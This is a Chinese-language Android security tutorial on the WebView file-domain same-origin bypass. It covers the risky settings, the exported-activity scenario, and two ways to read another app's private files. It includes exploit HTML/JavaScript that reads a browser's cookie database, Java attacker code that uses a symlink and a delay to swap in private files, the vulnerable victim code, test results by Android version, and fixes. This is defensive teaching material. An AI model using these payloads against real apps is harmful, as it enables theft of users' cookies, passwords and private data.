这一章我们来学习“WebView File域同源策略绕过漏洞”。
一、漏洞原理
JavaScript的延时执行能够绕过file协议的同源检查,并能够访问受害应用的所有私有文件,即通过WebView对Javascript的延时执行和将当前Html文件删除掉并软连接指向其他文件就可以读取到被符号链接所指的文件,然后通过JavaScript再次读取HTML文件,即可获取到被符号链接所指的文件。大多数使用WebView的应用都会受到该漏洞的影响,恶意应用通过该漏洞,可在无特殊权限下盗取应用的任意私有文件,尤其是浏览器,可通过利用该漏洞,获取到浏览器所保存的密码、Cookie、收藏夹以及历史记录等敏感信息,从而造成敏感信息泄露。 其实最主要的一点就是通过符号链接和延时加载来产生此漏洞 。其实这个漏洞不仅可以通过符号链接的方式来产生,这里会有两种方法来产生此漏洞。
a. 通过file跨域:直接读取(访问)本地文件来产生此漏洞 b. 通过绕过file协议的同源检查:符号链接和延时加载来产生此漏洞。
二、WebView相关知识
1、允许WebView访问本地html文件: 主要使用WebView.setAllowFileAccess(boolean allow) 方法来控制WebView 是否能够访问本地html文件
2、允许WebView加载的html使用JS代码:使用WebView.getSettings().setJavaScriptEnabled(boolean enable) 方法来控制是否允许使用JS代码
3、允许WebView加载的JS代码访问本地文件:使用WebView.getSettings().setAllowFileAccessFromFileURLs(boolean allow) 或WebView.getSettings().setAllowUniversalAccessFromFileURLs(boolean allow) ,中任意一个来控制是否允许JS使用file域访问本地文件,在Android4.0(API15)及以下默认为true,在Android4.0(API15)以上默认为false 。需要注意的一点是在Android4.0及以下版本中没有setAllowFileAccessFromFileURLs和setAllowUniversalAccessFromFileURLs方法
注: 1. setAllowFileAccessFromFileURLs:设置是否允许通过file url加载的Javascript读取其他的本地文件 2. setAllowUniversalAccessFromFileURLs:设置是否允许通过file url加载的Javascript可以访问其他的源,包括其他的文件和http,https等其他的源。此API比setAllowFileAccessFromFileURLs多了一个跨域访问http和https等链接
三、漏洞的几种情况
此漏洞的一般使用场景为: APP 具有WebView (浏览器功能),且WebView 所在的Activity 组件存在组件暴露(组件导出,android:exported=true ),并接收外部输入的URL 链接,没有校验URL ,WebView 就直接加载,最后WebView 还存在下列情况中的任意一种。
1、通过file跨域:直接读取(访问)本地文件来产生此漏洞 (1). 设置WebView允许使用JS代码:WebView.getSettings().setJavaScriptEnabled(true) (2). 设置WebView允许访问本地html文件:WebView.setAllowFileAccess(true) (3). 设置允许WebView加载的JS代码访问本地文件:WebView.getSettings().setAllowFileAccessFromFileURLs(true) 或WebView.getSettings().setAllowUniversalAccessFromFileURLs(true)
#恶意APP的HTML代码
<html>
<body></body>
<script>
function loadDatabase()
{
var file_url = "file:///data/data/com.xxx.browser/databases/webviewCookies.db";
var xmlhttp =new XMLHttpRequest();
xmlhttp.onload=function() {
document.body.appendChild(d.createTextNode(xmlhttp.responseText))
alert(xmlhttp.responseText);
}
xmlhttp.open("GET",file_url);
xmlhttp.send(null);
}
loadDatabase();
</script>
</html>
#被攻击的APP,有漏洞的代码
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true); #允许加载File域
webView.getSettings().setAllowFileAccessFromFileURLs(true);
Intent i = getIntent();
if (i != null) {
mUri = i.getData(); #取出了恶意HTML
}
if (mUri != null) {
url = mUri.toString();
}
if (url != null) {
webView.loadUrl(url); #加载了恶意HTML
}
2、通过绕过file协议的同源检查:符号链接和延时加载来产生此漏洞 (1). 设置WebView允许使用JS代码:WebView.getSettings().setJavaScriptEnabled(true) (2). 设置WebView允许访问本地html文件:WebView.setAllowFileAccess(true)
setAllowFileAccessFromFileURLs 方法和setAllowUniversalAccessFromFileURLs 在这种情况下设置为false 。其实无论怎么限制file协议的同源检查,其javascript都应该能访问当前的文件,通过javascript的延时执行和将当前文件替换成指向其它文件的软链接就可以读取到被符号链接所指的文件。
#恶意APP的HTML,被检测APP加载此html,执行JS代码
<html>
<body></body>
<script>
var d = document;
function loadDatabase()
{
var file_url = d.URL;
var xmlhttp =new XMLHttpRequest();
xmlhttp.onload=function() {
document.body.appendChild(d.createTextNode(xmlhttp.responseText))
alert(xmlhttp.responseText);
}
xmlhttp.open("GET",file_url);
xmlhttp.send(null);
}
setTimeout(loadDatabase(),8000); #延迟8秒执行。利用时间差和软链接来获取被攻击APP的私有文件
</script>
</html>
#恶意APP的攻击代码
try {
String HTML = "恶意APP的HTML,在上面的HTML代码";
#新建文件夹,用于存放恶意HTML文件
cmdexec("mkdir /data/data/mm.xxxxx.testdemo3/files");
#将恶意HTML到恶意APP的沙盒目录
cmdexec("echo \"" + HTML + "\" > /data/data/mm.xxxxx.testdemo3/files/attack.html");
#授权目录及其文件权限,允许其它应用访问
cmdexec("chmod -R 777 /data/data/mm.xxxxx.testdemo3/files");
Thread.sleep(1000);
#启动被攻击的APP,并携带恶意HTML
invokeVulnAPP("file://" + HTML_PATH);
#延时6秒
Thread.sleep(6000);
#删除HTML文件
cmdexec("rm " + HTML_PATH);
#软链接文件,实现读取被攻击应用的private.txt文件
cmdexec("ln -s " + "/data/data/mm.xxxxx.testdemo3/files/private.txt" + " " + HTML_PATH);
} catch (Exception e) {
}
#被攻击的APP,有漏洞的代码
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true); 允许加载File域
Intent i = getIntent();
if (i != null) {
mUri = i.getData(); #取出了恶意HTML
}
if (mUri != null) {
url = mUri.toString();
}
if (url != null) {
webView.loadUrl(url); #加载了恶意HTML
}
四、POC
这里没有做很详细的POC,在网上许多文章都有这些例子,我主要做的测试是符号链接和延时加载产生的漏洞 会影响到那些版本。 这里使用的是Android原生模拟器进行测试,做的较为粗略,仅供参考。(在国产的部分定制ROM中有修复此漏洞 )
这里测试的版本从Android4.2(API17) 到Android7.0(API24) ,从结果可知Android7.0 版本中此漏洞已修复(Android7.0修复此漏洞仅为猜测,不过从实际的运行来看确实没达到攻击的效果。估计是Android7.0引入了FileProvider所导致的,测试的代码最后也兼容了FileProvider ),故漏洞影响大约小于Android7.0(API24) 。但不排除在Android6.0 上的小版本有修复。
五、检测方法
不详细列举,在漏洞的几种情况中有说明产生的过程,那么照此进行检查就行。
六、修复方法
1、设置setAllowFileAccess 方法为false ,设置setAllowFileAccessFromFileURLs 和setAllowUniversalAccessFromFileURLs 为false 。 2、在Android4.0(API15) 及以下得采用其他方法进行手动校验是否访问file域 3、当WebView 所在Activity 存在组件暴露时,若不是必要的组件暴露,应该禁止组件暴露
asjhan for Android reverse
|